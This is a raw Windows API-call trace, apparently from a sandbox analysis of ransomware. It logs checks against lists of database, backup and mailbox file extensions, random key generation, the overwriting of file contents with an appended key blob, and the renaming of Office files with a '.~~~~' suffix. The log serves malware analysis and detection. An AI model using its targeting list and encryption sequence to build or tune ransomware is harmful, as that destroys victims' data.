	[0141.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".DBT") returned 0x0
	[0141.906] lstrlenW (lpString=".ACCDB") returned 6
	[0141.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.906] lstrlenW (lpString=".fdb") returned 4
	[0141.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".fdb") returned 0x0
	[0141.906] lstrlenW (lpString=".bak") returned 4
	[0141.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".bak") returned 0x0
	[0141.906] lstrlenW (lpString=".myd") returned 4
	[0141.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".myd") returned 0x0
	[0141.991] lstrlenW (lpString=".DTXS") returned 5
	[0141.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.991] lstrlenW (lpString=".ckp") returned 4
	[0141.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".ckp") returned 0x0
	[0141.991] lstrlenW (lpString=".dbt") returned 4
	[0141.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".dbt") returned 0x0
	[0141.991] lstrlenW (lpString=".db") returned 3
	[0141.991] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".db") returned 0x0
	[0141.992] lstrlenW (lpString=".TXT") returned 4
	[0141.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".TXT") returned 0x0
	[0141.992] lstrlenW (lpString=".MDF") returned 4
	[0141.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".MDF") returned 0x0
	[0141.992] lstrlenW (lpString=".bdb") returned 4
	[0141.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".bdb") returned 0x0
	[0141.992] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.992] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0141.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0141.992] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0141.993] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0141.993] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0141.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0141.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0141.993] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26198360712) returned 1
	[0141.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe09fe30, dwHighDateTime=0x1d60e1e)) 
	[0141.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0141.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0141.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0141.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2978
	[0141.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2978 | out: hHeap=0x300000) returned 1
	[0141.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a90c0
	[0141.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b878
	[0141.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a90c0 | out: hHeap=0x300000) returned 1
	[0141.994] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0141.994] GetLastError () returned 0x0
	[0141.995] GetLastError () returned 0x0
	[0141.995] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0141.995] GetLastError () returned 0x0
	[0141.995] GetLastError () returned 0x0
	[0141.995] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x32b6, lpOverlapped=0x0) returned 1
	[0141.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffcd4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.997] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x32b6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x32b6, lpOverlapped=0x0) returned 1
	[0141.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0141.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.997] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.998] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.998] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.998] CloseHandle (hObject=0x114) returned 1
	[0141.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a90c0
	[0141.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif.~~~~")) returned 1
	[0142.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a90c0 | out: hHeap=0x300000) returned 1
	[0142.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.031] GetLastError () returned 0x0
	[0142.031] RtlWakeConditionVariable () returned 0x365f70
	[0142.031] GetCurrentThreadId () returned 0x9cc
	[0142.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".scr") returned 0x0
	[0142.031] lstrlenW (lpString=".cmd") returned 4
	[0142.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".cmd") returned 0x0
	[0142.031] lstrlenW (lpString=".dll") returned 4
	[0142.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".dll") returned 0x0
	[0142.031] lstrlenW (lpString=".bat") returned 4
	[0142.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".bat") returned 0x0
	[0142.031] lstrlenW (lpString=".cpl") returned 4
	[0142.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".cpl") returned 0x0
	[0142.032] lstrlenW (lpString=".sys") returned 4
	[0142.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".sys") returned 0x0
	[0142.032] lstrlenW (lpString=".msc") returned 4
	[0142.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".msc") returned 0x0
	[0142.032] lstrlenW (lpString=".com") returned 4
	[0142.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".com") returned 0x0
	[0142.032] lstrlenW (lpString=".lnk") returned 4
	[0142.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".lnk") returned 0x0
	[0142.032] lstrlenW (lpString=".msp") returned 4
	[0142.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".msp") returned 0x0
	[0142.032] lstrlenW (lpString=".pif") returned 4
	[0142.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".pif") returned 0x0
	[0142.032] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.033] lstrlenW (lpString=".sqb") returned 4
	[0142.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".sqb") returned 0x0
	[0142.033] lstrlenW (lpString=".ost") returned 4
	[0142.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".ost") returned 0x0
	[0142.033] lstrlenW (lpString=".txt") returned 4
	[0142.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".txt") returned 0x0
	[0142.033] lstrlenW (lpString=".mdt") returned 4
	[0142.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".mdt") returned 0x0
	[0142.033] lstrlenW (lpString=".BDB") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".BDB") returned 0x0
	[0142.034] lstrlenW (lpString=".eql") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".eql") returned 0x0
	[0142.034] lstrlenW (lpString=".DBF") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".DBF") returned 0x0
	[0142.034] lstrlenW (lpString=".EQL") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".EQL") returned 0x0
	[0142.034] lstrlenW (lpString=".FDB") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".FDB") returned 0x0
	[0142.034] lstrlenW (lpString=".EDB") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".EDB") returned 0x0
	[0142.034] lstrlenW (lpString=".DACPAC") returned 7
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.034] lstrlenW (lpString=".VHD") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".VHD") returned 0x0
	[0142.034] lstrlenW (lpString=".DBV") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".DBV") returned 0x0
	[0142.034] lstrlenW (lpString=".dacpac") returned 7
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".dacpac") returned 0x0
	[0142.034] lstrlenW (lpString=".sdf") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".sdf") returned 0x0
	[0142.034] lstrlenW (lpString=".accdb") returned 6
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".accdb") returned 0x0
	[0142.034] lstrlenW (lpString=".DBX") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".DBX") returned 0x0
	[0142.034] lstrlenW (lpString=".MDT") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".MDT") returned 0x0
	[0142.034] lstrlenW (lpString=".SQB") returned 4
	[0142.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".SQB") returned 0x0
	[0142.035] lstrlenW (lpString=".vhd") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".vhd") returned 0x0
	[0142.035] lstrlenW (lpString=".bac") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".bac") returned 0x0
	[0142.035] lstrlenW (lpString=".mdf") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".mdf") returned 0x0
	[0142.035] lstrlenW (lpString=".BAK") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".BAK") returned 0x0
	[0142.035] lstrlenW (lpString=".BAC") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".BAC") returned 0x0
	[0142.035] lstrlenW (lpString=".dbs") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".dbs") returned 0x0
	[0142.035] lstrlenW (lpString=".vhdx") returned 5
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".vhdx") returned 0x0
	[0142.035] lstrlenW (lpString=".NDF") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".NDF") returned 0x0
	[0142.035] lstrlenW (lpString=".dat") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".dat") returned 0x0
	[0142.035] lstrlenW (lpString=".DBS") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".DBS") returned 0x0
	[0142.035] lstrlenW (lpString=".CKP") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".CKP") returned 0x0
	[0142.035] lstrlenW (lpString=".edb") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".edb") returned 0x0
	[0142.035] lstrlenW (lpString=".PST") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".PST") returned 0x0
	[0142.035] lstrlenW (lpString=".dbf") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".dbf") returned 0x0
	[0142.035] lstrlenW (lpString=".SQL") returned 4
	[0142.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".SQL") returned 0x0
	[0142.035] lstrlenW (lpString=".pst") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".pst") returned 0x0
	[0142.036] lstrlenW (lpString=".dbv") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".dbv") returned 0x0
	[0142.036] lstrlenW (lpString=".SDF") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".SDF") returned 0x0
	[0142.036] lstrlenW (lpString=".dtxs") returned 5
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".dtxs") returned 0x0
	[0142.036] lstrlenW (lpString=".db3") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".db3") returned 0x0
	[0142.036] lstrlenW (lpString=".OST") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".OST") returned 0x0
	[0142.036] lstrlenW (lpString=".dbx") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".dbx") returned 0x0
	[0142.036] lstrlenW (lpString=".DB3") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".DB3") returned 0x0
	[0142.036] lstrlenW (lpString=".DAT") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".DAT") returned 0x0
	[0142.036] lstrlenW (lpString=".VHDX") returned 5
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".VHDX") returned 0x0
	[0142.036] lstrlenW (lpString=".ndf") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".ndf") returned 0x0
	[0142.036] lstrlenW (lpString=".DB") returned 3
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".DB") returned 0x0
	[0142.036] lstrlenW (lpString=".sql") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".sql") returned 0x0
	[0142.036] lstrlenW (lpString=".MYD") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".MYD") returned 0x0
	[0142.036] lstrlenW (lpString=".DBT") returned 4
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".DBT") returned 0x0
	[0142.036] lstrlenW (lpString=".ACCDB") returned 6
	[0142.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.037] lstrlenW (lpString=".fdb") returned 4
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".fdb") returned 0x0
	[0142.037] lstrlenW (lpString=".bak") returned 4
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".bak") returned 0x0
	[0142.037] lstrlenW (lpString=".myd") returned 4
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".myd") returned 0x0
	[0142.037] lstrlenW (lpString=".DTXS") returned 5
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".DTXS") returned 0x0
	[0142.037] lstrlenW (lpString=".ckp") returned 4
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".ckp") returned 0x0
	[0142.037] lstrlenW (lpString=".dbt") returned 4
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".dbt") returned 0x0
	[0142.037] lstrlenW (lpString=".db") returned 3
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".db") returned 0x0
	[0142.037] lstrlenW (lpString=".TXT") returned 4
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".TXT") returned 0x0
	[0142.037] lstrlenW (lpString=".MDF") returned 4
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".MDF") returned 0x0
	[0142.037] lstrlenW (lpString=".bdb") returned 4
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".bdb") returned 0x0
	[0142.037] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.037] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.037] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.038] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.038] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.038] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26202861551) returned 1
	[0142.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe112250, dwHighDateTime=0x1d60e1e)) 
	[0142.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
